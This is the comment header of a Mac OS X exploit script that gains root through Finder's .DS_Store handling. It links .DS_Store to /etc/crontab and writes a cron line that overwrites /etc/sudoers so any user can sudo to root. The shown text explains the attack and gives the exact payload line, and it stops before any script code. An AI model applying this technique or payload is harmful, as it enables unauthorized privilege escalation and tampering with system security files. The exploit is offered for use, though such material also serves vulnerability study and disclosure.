# [OSX Finder] DS_Store arbitrary file overwrite exploit. (root version)
#
# vade79 -> v9@fakehalo.us (fakehalo/realhalo)
#
# this will create a directory called "xfinder" in your home directory,
# once the root user has modified that directory using Finder in almost any
# way(such as copying a file out of it, etc) it will write to the .DS_Store
# file in that directory.  the data written to the .DS_Store file will
# consist of the filenames/subdirectories making up the directory and the
# attributes of the directory.
#
# this exploit works by linking the .DS_Store file to /etc/crontab, and
# creating a special unicode(utf8 encoded) file in the directory.  the file
# created in unicode is equal to(in ASCII):
#  '\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n'
#
# this file will display as a japanese-like series of characters and
# is (part of) what is written to the .DS_Store file, which allows for 
# the privilege escalation.  once this line has been written to
# /etc/crontab(along with other .DS_Store data), crontab will overwrite
# /etc/sudoers with "ALL ALL=(ALL) ALL" and you can then sudo to root.
#
# note: this is done through crontab->sudo because sudo will complain
# of the .DS_Store garbage data in the /etc/sudoers file and exit,
# whereas crontab will ignore it.
#
# (sorry for the squished/ugly script, just a precaution for
# wordwrapping)
